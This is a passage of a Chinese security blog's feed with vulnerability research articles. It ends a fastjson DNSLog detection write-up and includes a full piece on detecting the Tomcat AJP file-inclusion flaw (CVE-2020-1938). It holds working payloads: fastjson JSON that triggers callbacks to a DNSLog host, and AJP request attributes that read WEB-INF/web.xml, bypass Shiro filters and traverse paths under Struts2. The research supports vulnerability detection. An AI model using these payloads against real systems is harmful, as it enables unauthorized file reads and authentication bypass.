class="keyword">case</span> <span class="number">23</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"undefined"</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">24</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">";"</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">25</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"."</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">26</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"hex"</span>;</span><br><span class="line"> <span class="keyword">default</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"Unknown"</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>构造这个payload需要分两步,第一步我们需要让代码执行到1处,这一路解析器要接收的字符在代码已经标好。按照顺序写就是<code>{"@type":"java.net.InetSocketAddress"{"address":</code></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//com.alibaba.fastjson.serializer.MiscCodec#deserialze</span></span><br><span class="line"><span class="keyword">public</span> <T> <span class="function">T <span class="title">deserialze</span><span class="params">(DefaultJSONParser parser, Type clazz, Object fieldName)</span> </span>{</span><br><span class="line"> JSONLexer lexer = parser.lexer;</span><br><span class="line"> String className;</span><br><span class="line"> <span class="keyword">if</span> (clazz == InetSocketAddress.class) {</span><br><span class="line"> <span class="keyword">if</span> (lexer.token() == <span class="number">8</span>) {</span><br><span class="line"> lexer.nextToken();</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">null</span>;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="comment">// 12 ---> {</span></span><br><span class="line"> parser.accept(<span class="number">12</span>);</span><br><span class="line"> InetAddress address = <span class="keyword">null</span>;</span><br><span class="line"> <span class="keyword">int</span> port = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">while</span>(<span class="keyword">true</span>) {</span><br><span class="line"> className = lexer.stringVal();</span><br><span class="line"> </span><br><span class="line"> lexer.nextToken(<span class="number">17</span>);</span><br><span class="line"> <span class="comment">// 字段名需要为address</span></span><br><span class="line"> <span class="keyword">if</span> (className.equals(<span class="string">"address"</span>)) {</span><br><span class="line"> <span class="comment">// 17 ---> :</span></span><br><span class="line"> parser.accept(<span class="number">17</span>);</span><br><span class="line"> <span class="comment">// 1. 我们需要让解析器走到这里</span></span><br><span class="line"> address = (InetAddress)parser.parseObject(InetAddress.class);</span><br><span class="line"> } </span><br><span class="line"> ...</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> } </span><br><span class="line"> ...</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><code>parser.parseObject(InetAddress.class)</code>最终依然会,调用<code>MiscCodec#deserialze()</code>方法来序列化,这里就来到我们构造payload的第二步。第二步的目标是要让解析器走到<code>InetAddress.getByName(strVal)</code>。解析器要接受的字符在代码里标好了,按照顺序写就是<code>,"val":"http://dnslog"}</code>。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//com.alibaba.fastjson.serializer.MiscCodec#deserialze</span></span><br><span class="line"><span class="keyword">public</span> <T> <span class="function">T <span class="title">deserialze</span><span class="params">(DefaultJSONParser parser, Type clazz, Object fieldName)</span> </span>{</span><br><span class="line"> JSONLexer lexer = parser.lexer;</span><br><span class="line"> String className;</span><br><span class="line"> <span class="comment">// 序列化的是InetAddress.class类,走else流程</span></span><br><span class="line"> <span class="keyword">if</span> (clazz == InetSocketAddress.class) {</span><br><span class="line"> ...</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> Object objVal;</span><br><span class="line"> <span class="keyword">if</span> (parser.resolveStatus == <span class="number">2</span>) {</span><br><span class="line"> parser.resolveStatus = <span class="number">0</span>;</span><br><span class="line"> <span class="comment">// 16 ---> ,</span></span><br><span class="line"> parser.accept(<span class="number">16</span>);</span><br><span class="line"> <span class="keyword">if</span> (lexer.token() != <span class="number">4</span>) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> JSONException(<span class="string">"syntax error"</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">// 字段名 ---> val</span></span><br><span class="line"> <span class="keyword">if</span> (!<span class="string">"val"</span>.equals(lexer.stringVal())) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> JSONException(<span class="string">"syntax error"</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> lexer.nextToken();</span><br><span class="line"> <span class="comment">// 17 ---> :</span></span><br><span class="line"> parser.accept(<span class="number">17</span>);</span><br><span class="line"> <span class="comment">// 之后解析为对象,也就是val字段对应的值</span></span><br><span class="line"> objVal = parser.parse();</span><br><span class="line"> <span class="comment">// 13 ---> }</span></span><br><span class="line"> parser.accept(<span class="number">13</span>);</span><br><span class="line"> } </span><br><span class="line"> ....</span><br><span class="line"> <span class="comment">// 后续的流程和方法一一样了,进行类型判断</span></span><br><span class="line"> strVal = (String)objVal;</span><br><span class="line"> <span class="keyword">if</span> (strVal != <span class="keyword">null</span> && strVal.length() != <span class="number">0</span>) {</span><br><span class="line"> <span class="keyword">if</span> (clazz == UUID.class) {</span><br><span class="line"> ...</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (clazz == URI.class) {</span><br><span class="line"> ...</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (clazz == URL.class) {</span><br><span class="line"> ...</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (clazz != InetAddress.class && clazz != Inet4Address.class && clazz != Inet6Address.class) {</span><br><span class="line"> ...</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="comment">// 域名解析</span></span><br><span class="line"> <span class="keyword">return</span> InetAddress.getByName(strVal);</span><br><span class="line"> } <span class="keyword">catch</span> (UnknownHostException var11) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> JSONException(<span class="string">"deserialize inet adress error"</span>, var11);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> } </span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>两段合起来就得到了最终的payload。</p><h2 id="0x04-方法三-利用java-net-URL"><a href="#0x04-方法三-利用java-net-URL" class="headerlink" title="0x04 方法三:利用java.net.URL"></a>0x04 方法三:利用java.net.URL</h2><p><code>java.net.URL</code>类也在<code>IdentityHashMap</code>中,和上面一样无视<code>checkAutoType</code>检查。</p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">{{"@type":"java.net.URL","val":"http://dnslog"}:"x"}</span><br></pre></td></tr></table></figure><p>来源于<code>@retanoj</code>和<code>@threedr3am</code>两位师傅的启发,其原理和ysoserial中的<code>URLDNS</code>这个gadget原理一样。</p><p><strong>简单来说就是向HashMap压入一个键值对时,HashMap需要获取key对象的hashcode。当key对象是一个URL对象时,在获取它的<code>hashcode</code>期间会调用<code>getHostAddress</code>方法获取host,这个过程域名会被解析。</strong></p><p><img src="/articles/2020/several-ways-to-detect-fastjson-through-dnslog/2.png" alt="URL对象hashcode的获取过程"></p><p>fastjson解析上述payload时,先反序列化出<code>URL(http://dnslog)</code>对象,然后将<code>{URL(http://dnslog):"x"}</code>解析为一个HashMap,域名被解析。</p><p><code>@retanoj</code>在<a href="https://github.com/alibaba/fastjson/issues/3077" target="_blank" rel="noopener">Issue</a>中还构造了好几个畸形的payload,虽然原理都是一样的,但还是挺有意思的,感受到了师傅对fastjson词法分析器透彻的理解。</p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://dnslog"}}""}</span><br><span class="line">Set[{"@type":"java.net.URL","val":"http://dnslog"}]</span><br><span class="line">Set[{"@type":"java.net.URL","val":"http://dnslog"}</span><br><span class="line">{{"@type":"java.net.URL","val":"http://dnslog"}:0</span><br></pre></td></tr></table></figure><h2 id="0x05-留一个问题"><a href="#0x05-留一个问题" class="headerlink" title="0x05 留一个问题"></a>0x05 留一个问题</h2><p>最后留个问题吧,我们都知道一般影响fastjson的gadget也会影响jackson。那么我们上面构造的payload,使用相同的原理能在jackson实现么?如果能,又该怎么构造呢?欢迎在blog留言区分享你的思考。</p><h2 id="0x06-参考文献"><a href="#0x06-参考文献" class="headerlink" title="0x06 参考文献"></a>0x06 参考文献</h2><ul><li><a href="https://github.com/alibaba/fastjson/issues/3077" target="_blank" rel="noopener">https://github.com/alibaba/fastjson/issues/3077</a></li></ul>]]></content>
<summary type="html">
<h2 id="0x01-背景"><a href="#0x01-背景" class="headerlink" title="0x01 背景"></a>0x01 背景</h2><p>在渗透测试中遇到json数据一般都会测试下有没有反序列化。然而json库有<code>fastjso
</summary>
<category term="安全研究" scheme="https://gv7.me/categories/%E5%AE%89%E5%85%A8%E7%A0%94%E7%A9%B6/"/>
<category term="fastjson" scheme="https://gv7.me/tags/fastjson/"/>
</entry>
<entry>
<title>如何更加精确的检测Tomcat AJP文件包含漏洞(CVE-2020-1938)</title>
<link href="https://gv7.me/articles/2020/how-to-detect-tomcat-ajp-lfi-more-accurately/"/>
<id>https://gv7.me/articles/2020/how-to-detect-tomcat-ajp-lfi-more-accurately/</id>
<published>2020-03-18T13:14:55.000Z</published>
<updated>2020-03-27T12:21:54.085Z</updated>
<content type="html"><![CDATA[<p>通过上篇文章<a href="http://gv7.me/articles/2020/cve-2020-1938-tomcat-ajp-lfi/">《CVE-2020-1938:Tomcat AJP协议文件包含漏洞分析》</a>,我们知道这个漏洞出现在Tomcat默认的两个<code>Servlet</code>,一个是<code>DefaultServelt</code>,可以任意文件读取。第二个是<code>JspServlet</code>,可以用于文件读取和代码执行。所以我们漏洞利用的关键是让精心构造的数据包最终让这两个<code>Servlet</code>处理。但是在真实环境下的Web项目情况很复杂,会添加自定义的<code>Servlet</code>和<code>Filter</code>,使用各种框架和组件。它们的<code>Servlet</code>和<code>Filter</code>匹配规则会影响我们构造的数据包处理流向,导致我们无法检查成功。本文我们会针对常见的5种情况进行分析并一一解决!</p><h2 id="0x01-知识储备"><a href="#0x01-知识储备" class="headerlink" title="0x01 知识储备"></a>0x01 知识储备</h2><p>在分析前我们需要对Tomcat匹配规则优先级有一个了解,匹配的优先级如下,优先级从上到下:</p><ol><li>精确匹配(例如:<code>/admin/index.html</code>)</li><li>路径匹配 (例如:/*)</li><li>拓展名匹配 (例如:<code>*.jsp</code>,<code>*.jspx</code>)</li><li>缺省匹配 (比如:<code>/</code>)</li></ol><p>具体的匹配细节可以查看Tomcat源码<code>org.apache.catalina.mapper.Mapper#internalMapWrapper()</code></p><h2 id="0x02-情况一:原生Servlet环境下"><a href="#0x02-情况一:原生Servlet环境下" class="headerlink" title="0x02 情况一:原生Servlet环境下"></a>0x02 情况一:原生Servlet环境下</h2><p>Tomcat下存在多个默认的web项目,由于它们没有使用任何框架,所以借助它们来检查再好不过了。</p><ul><li>docs</li><li>examples</li><li>host-manager</li><li>manager</li></ul><p>当没有默认的web项目,我们只能检查<code>ROOT</code>下的项目了。在使用原生Servlet开发的web应用中,我们要考虑的是开发人员自定义<code>filter</code>和自定义<code>servlet</code>对漏洞影响。</p><p>按照开发经验,一般过滤器是不会过滤<code>.js</code>,<code>.css</code>,<code>.ico</code>等静态文件后缀的url,同时自定义的Servlet也不会去处理这些url。所以我们可以构造类似如下请求来绕过它们带来的影响。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">RequestUri:/facvon.ico</span><br><span class="line">javax.servlet.include.request_uri: /</span><br><span class="line">javax.servlet.include.path_info: WEB-INF/web.xml</span><br><span class="line">javax.servlet.include.servlet_path: /</span><br></pre></td></tr></table></figure><h2 id="0x03-情况二:Sping-mvc环境下"><a href="#0x03-情况二:Sping-mvc环境下" class="headerlink" title="0x03 情况二:Sping mvc环境下"></a>0x03 情况二:Sping mvc环境下</h2><p>Spring MVC的经典配置如下:</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">servlet</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">servlet-name</span>></span>DispatcherServlet<span class="tag"></<span class="name">servlet-name</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">servlet-class</span>></span>org.springframework.web.servlet.DispatcherServlet<span class="tag"></<span class="name">servlet-class</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">init-param</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">param-name</span>></span>contextConfigLocation<span class="tag"></<span class="name">param-name</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">param-value</span>></span>classpath*:spring-mvc-config.xml<span class="tag"></<span class="name">param-value</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">init-param</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">load-on-startup</span>></span>1<span class="tag"></<span class="name">load-on-startup</span>></span></span><br><span class="line"><span class="tag"></<span class="name">servlet</span>></span></span><br><span class="line"><span class="tag"><<span class="name">servlet-mapping</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">servlet-name</span>></span>DispatcherServlet<span class="tag"></<span class="name">servlet-name</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">url-pattern</span>></span>/<span class="tag"></<span class="name">url-pattern</span>></span></span><br><span class="line"><span class="tag"></<span class="name">servlet-mapping</span>></span></span><br></pre></td></tr></table></figure><p>虽然覆盖掉了<code>DefaultServlet</code>的匹配路径,但是<code>*.jsp,*.jspx</code>依然会交给<code>JspServlet</code>处理,所以我们可以构造如下请求让JspServlet来触发漏洞。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">RequestUri:/index.jsp</span><br><span class="line">javax.servlet.include.request_uri: /</span><br><span class="line">javax.servlet.include.path_info: WEB-INF/web.xml</span><br><span class="line">javax.servlet.include.servlet_path: /</span><br></pre></td></tr></table></figure><p>这里顺便回答下上一篇文章提的问题</p><p><strong>问题:如果已经知道某个contoller使用的是jsp为视图模版来渲染数据,我们能否通过它来触发漏洞?</strong></p><p>答:其实是不可以的。因为spring mvc会将模版渲染后,交给JspServlet去处理之前,会调用<code>org.apache.catalina.core.ApplicationDispatcher#doInclude</code>方法对3个include属性进行重新赋值,也就是把我们之前设置的值覆盖掉了不再可控!</p><p><img src="/articles/2020/how-to-detect-tomcat-ajp-lfi-more-accurately/1.png" alt="doInclude方法覆盖3个include属性"></p><h2 id="0x04-情况三:Spring-boot环境下"><a href="#0x04-情况三:Spring-boot环境下" class="headerlink" title="0x04 情况三:Spring boot环境下"></a>0x04 情况三:Spring boot环境下</h2><p>Srping boot结合Tomcat来部署有两种方式,分别是<code>外置</code>和<code>内嵌</code>。</p><h4 id="5-1-内嵌Tomcat"><a href="#5-1-内嵌Tomcat" class="headerlink" title="5.1 内嵌Tomcat"></a>5.1 内嵌Tomcat</h4><p>我们先来说内嵌,它是默认的部署方式。顾名思义就是spring boot内部代码来调用Tomcat提供Web服务。这种方式默认AJP是不开启的。</p><p>若开启AJP,<code>DefaultServlet</code>的匹配路径也会将<code>org.springframework.web.servlet.DispatcherServlet</code>覆盖,而<code>JspServlet</code>这个是没有被注册的,因为该类在<code>jasper.jar</code>中,Spring boot默认的依赖中没有。</p><p>这里值得一提的是有一种情况是可以触发漏洞的,当Spring boot需要以JSP为视图模版时,jasper.jar需要被引入。通过调试Spring boot发现会自动注册一个将<code>*.jsp</code>和<code>*.jspx</code>给<code>Jspservlet</code>的处理的<code>mapper</code>,具体参考以下两处源码。</p><p>org.springframework.boot.web.embedded.tomcat.TomcatServletWebServerFactory#prepareContext<br><img src="/articles/2020/how-to-detect-tomcat-ajp-lfi-more-accurately/2.png" alt="添加JspServlet"></p><p>org.springframework.boot.web.servlet.server.AbstractServletWebServerFactory#shouldRegisterJspServlet<br><img src="/articles/2020/how-to-detect-tomcat-ajp-lfi-more-accurately/3.png" alt="判断JspServlet类是否加载进来了"></p><h4 id="5-2-外置Tomcat"><a href="#5-2-外置Tomcat" class="headerlink" title="5.2 外置Tomcat"></a>5.2 外置Tomcat</h4><p>外置就是把<code>SpringBoot</code>项目打成war,部署到tomcat的webapps目录下。这种情况下的检测和Spirng MVC情况一样。</p><p>所以综合来看,内置情况下只有配置开启了<code>AJP</code>并引入了<code>jasper.jar</code>才可以被利用,这种情况较少。外置情况下可以直接利用,这种情况也较少。所以我认为Spring boot出现该漏洞的可能性不大。</p><h2 id="0x05-情况四:shiro环境下"><a href="#0x05-情况四:shiro环境下" class="headerlink" title="0x05 情况四:shiro环境下"></a>0x05 情况四:shiro环境下</h2><p>经典配置下shiro过滤器会对所有路径进行过滤,对url的访问权限有如下5个属性。</p><ul><li>anon: 无需认证即可访问</li><li>authc: 需要认证才可访问</li><li>user: 点击“记住我”功能可访问</li><li>perms: 拥有权限才可以访问</li><li>role: 拥有某个角色权限才能访问</li></ul><p>假设配置如下,在未登录情况下只能访问被配置为<code>anon</code>权限的<code>login.jsp</code>,访问其他链接都会302跳转至登录页面。所以只能请求这个页面来触发漏洞。</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">bean</span> <span class="attr">id</span>=<span class="string">"shiroFilter"</span> <span class="attr">class</span>=<span class="string">"org.apache.shiro.spring.web.ShiroFilterFactoryBean"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">property</span> <span class="attr">name</span>=<span class="string">"securityManager"</span> <span class="attr">ref</span>=<span class="string">"securityManager"</span>/></span></span><br><span class="line"> <span class="tag"><<span class="name">property</span> <span class="attr">name</span>=<span class="string">"loginUrl"</span> <span class="attr">value</span>=<span class="string">"/login"</span>/></span></span><br><span class="line"> <span class="tag"><<span class="name">property</span> <span class="attr">name</span>=<span class="string">"unauthorizedUrl"</span> <span class="attr">value</span>=<span class="string">"/refuse.html"</span>/></span></span><br><span class="line"> <span class="tag"><<span class="name">property</span> <span class="attr">name</span>=<span class="string">"filterChainDefinitions"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">value</span>></span></span><br><span class="line"> /logout = logout</span><br><span class="line"> /login.jsp = anon</span><br><span class="line"> /** = authc</span><br><span class="line"> <span class="tag"></<span class="name">value</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">property</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">property</span> <span class="attr">name</span>=<span class="string">"successUrl"</span> <span class="attr">value</span>=<span class="string">"/index"</span>/></span></span><br><span class="line"><span class="tag"></<span class="name">bean</span>></span></span><br></pre></td></tr></table></figure><p>但我们在自动化中如何发现被配置为<code>anon</code>权限的URL呢?实验室的<code>@背影</code>师傅给了一条很重要的提示,可以通过该漏洞设置request对象属性<code>shiroFilter: 1</code>来“关闭”shiro的拦截功能。</p><p>如果<code>request</code>对象的属性名<code>alreadyFilteredAttributeName</code>的值不为空,那么将直接交给<code>Tomcat</code>的<code>servlet</code>处理,相当于关闭了<code>shiro</code>的拦截!</p><p><img src="/articles/2020/how-to-detect-tomcat-ajp-lfi-more-accurately/4.png" alt="判断是否已经过滤"></p><p>alreadyFilteredAttributeName变量等于<code>shiro过滤器名</code> + <code>.FILTERED</code>。</p><p>通过查看代码发现<code>shiroFilter</code>其实是<code>web.xml</code>设置的<code>shiro</code>过滤器名,这是由开发人员自定义的,故带来了新的问题。若不知道<code>shiro</code>过滤器名怎么办呢?</p><p><img src="/articles/2020/how-to-detect-tomcat-ajp-lfi-more-accurately/5.png" alt="已过滤属性名"></p><p>通过调试<code>shiro</code>,发现请求会被上面说的5种权限过滤器,依次匹配并处理。最重要的是它们的名字固定!于是按照同样的方法,都给它们设置上已过滤flag,即可绕过shiro的限制。具体请求构造如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">RequestUri:/test.jsp</span><br><span class="line">javax.servlet.include.request_uri: /</span><br><span class="line">javax.servlet.include.path_info: WEB-INF/web.xml</span><br><span class="line">javax.servlet.include.servlet_path: /</span><br><span class="line">authc.FILTERED: 1</span><br><span class="line">user.FILTERED: 1</span><br><span class="line">perms.FILTERED: 1</span><br><span class="line">role.FILTERED: 1</span><br></pre></td></tr></table></figure><h2 id="0x06-情况五:Struts2环境下"><a href="#0x06-情况五:Struts2环境下" class="headerlink" title="0x06 情况五:Struts2环境下"></a>0x06 情况五:Struts2环境下</h2><p>以下分析的是Struts2 2.5.22</p><p>使用Struts2框架一般需要设置如下的全局过滤器</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">filter</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">filter-name</span>></span>struts2<span class="tag"></<span class="name">filter-name</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">filter-class</span>></span>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter<span class="tag"></<span class="name">filter-class</span>></span></span><br><span class="line"><span class="tag"></<span class="name">filter</span>></span></span><br><span class="line"><span class="tag"><<span class="name">filter-mapping</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">filter-name</span>></span>struts2<span class="tag"></<span class="name">filter-name</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">url-pattern</span>></span>/*<span class="tag"></<span class="name">url-pattern</span>></span></span><br><span class="line"><span class="tag"></<span class="name">filter-mapping</span>></span></span><br></pre></td></tr></table></figure><p>该过滤器默认会将后缀为<code>空</code>和<code>.action</code>的URL请求,交给<code>Struts2</code>的<code>Action</code>处理,而其他后缀就交给Tomcat默认Servlet处理,漏洞利用需要让其走后者。</p><p><img src="/articles/2020/how-to-detect-tomcat-ajp-lfi-more-accurately/6.png" alt="通过URL获取mapping对象,决定后续处理流程"></p><p>然而在请求路径的获取上Struts2有别于其他环境,这是导致漏洞利用方式稍有不同。它通过<code>request</code>对象的<code>javax.servlet.include.servlet_path</code>属性获取,而不是<code>request.getServletPath()</code>。</p><p>org.apache.struts2.dispatcher.mapper.DefaultActionMapper#getUri()</p><p><img src="/articles/2020/how-to-detect-tomcat-ajp-lfi-more-accurately/7.png" alt="Struts2请求的Servlet路径是由javax.servlet.include.servlet_path属性决定"></p><p>所以我们在这里必须设置该属性值为非空非<code>.action</code>的后缀<code>test.jsp</code>,才能让Tomcat的<code>JspServlet</code>来处理。但是如果我们还是使用原来的方式读<code>/WEB-INF/web.xml</code>是行不通的,因为最终构造的路径如下是错误的。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">= javax.servlet.include.servlet_path + javax.servlet.include.path_info</span><br><span class="line">= /test.jsp + '/WEB-INF/web.xml'</span><br><span class="line">= /test.jsp/WEB-INF/web.xml (路径错误)</span><br></pre></td></tr></table></figure><p>那我们能否将<code>javax.servlet.include.path_info</code>设置为<code>/../WEB-INF/web.xml</code>来吃掉<code>1.jsp</code>形成正确路径呢?答案是可以的!可能看过我之前漏洞分析文章的朋友会说,不是说路径里不能使用<code>../</code>进行跳目录么?其实是可以跳目录,只是不能跳出<code>webapps</code>而已。这里重新说明下路径校验函数<code>normalized()</code>的功能。</p><p><img src="/articles/2020/how-to-detect-tomcat-ajp-lfi-more-accurately/8.png" alt="normalized方法中和./和../的处理流程"></p><p>该方法的功能是中和掉路径中的<code>./</code>和<code>../</code>,比如<code>/a/.//b/../c</code>就会被中和为<code>/a/c</code>。如果最后依然存在<code>../</code>在开头,才会返回<code>null</code>,最终抛出非法路径的异常。</p><p>所以在<code>Struts2</code>框架下检测该漏洞,需要构造如下请求来绕过。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">RequestUri: /</span><br><span class="line">javax.servlet.include.request_uri: /</span><br><span class="line">javax.servlet.include.path_info: /../WEB-INF/web.xml</span><br><span class="line">javax.servlet.include.servlet_path: /1.jsp</span><br></pre></td></tr></table></figure><h2 id="0x07-扫描演示"><a href="#0x07-扫描演示" class="headerlink" title="0x07 扫描演示"></a>0x07 扫描演示</h2><p>最后便可以将以上各个场景的特点综合起来,编写扫描工具了。这里我搭建了SpringMVC + Shiro的环境进行演示。可以发现其他的url都重定向了,只有针对shiro构造的请求是200,并成功触发漏洞!</p><p><img src="/articles/2020/how-to-detect-tomcat-ajp-lfi-more-accurately/9.png" alt="扫描演示"></p><h2 id="0x08-最后的话"><a href="#0x08-最后的话" class="headerlink" title="0x08 最后的话"></a>0x08 最后的话</h2><ol><li>本文只对每种环境较新版本进行分析,所以提供的扫描方案不可能适配所有版本环境,算是对精确检测做一个抛砖引玉。</li><li>每种环境下的检测方案,只考虑使用Tomcat默认存在缺陷的两个Servlet(<code>JspServlet</code>和<code>DefaultServlet</code>)来检测,更完美的方案应该是去找每种环境下其他存在缺陷的Servlet。</li></ol>]]></content>
<summary type="html">
<p>通过上篇文章<a href="http://gv7.me/articles/2020/cve-2020-1938-tomcat-ajp-lfi/">《CVE-2020-1938:Tomcat AJP协议文件包含漏洞分析》</a>,我们知道这个漏洞出现在Tomcat默认的两个
</summary>
<category term="安全开发" scheme="https://gv7.me/categories/%E5%AE%89%E5%85%A8%E5%BC%80%E5%8F%91/"/>
<category term="Tomcat" scheme="https://gv7.me/tags/Tomcat/"/>
</entry>
<entry>
<title>CVE-2020-1938:Tomcat AJP协议文件包含漏洞分析</title>
<link href="https://gv7.me/articles/2020/cve-2020-1938-tomcat-ajp-lfi/"/>
<id>https://gv7.me/articles/2020/cve-2020-1938-tomcat-ajp-lfi/</id>
<published>2020-02-22T08:14:24.000Z</published>
<updated>2020-02-22T09:48:33.455Z</updated>
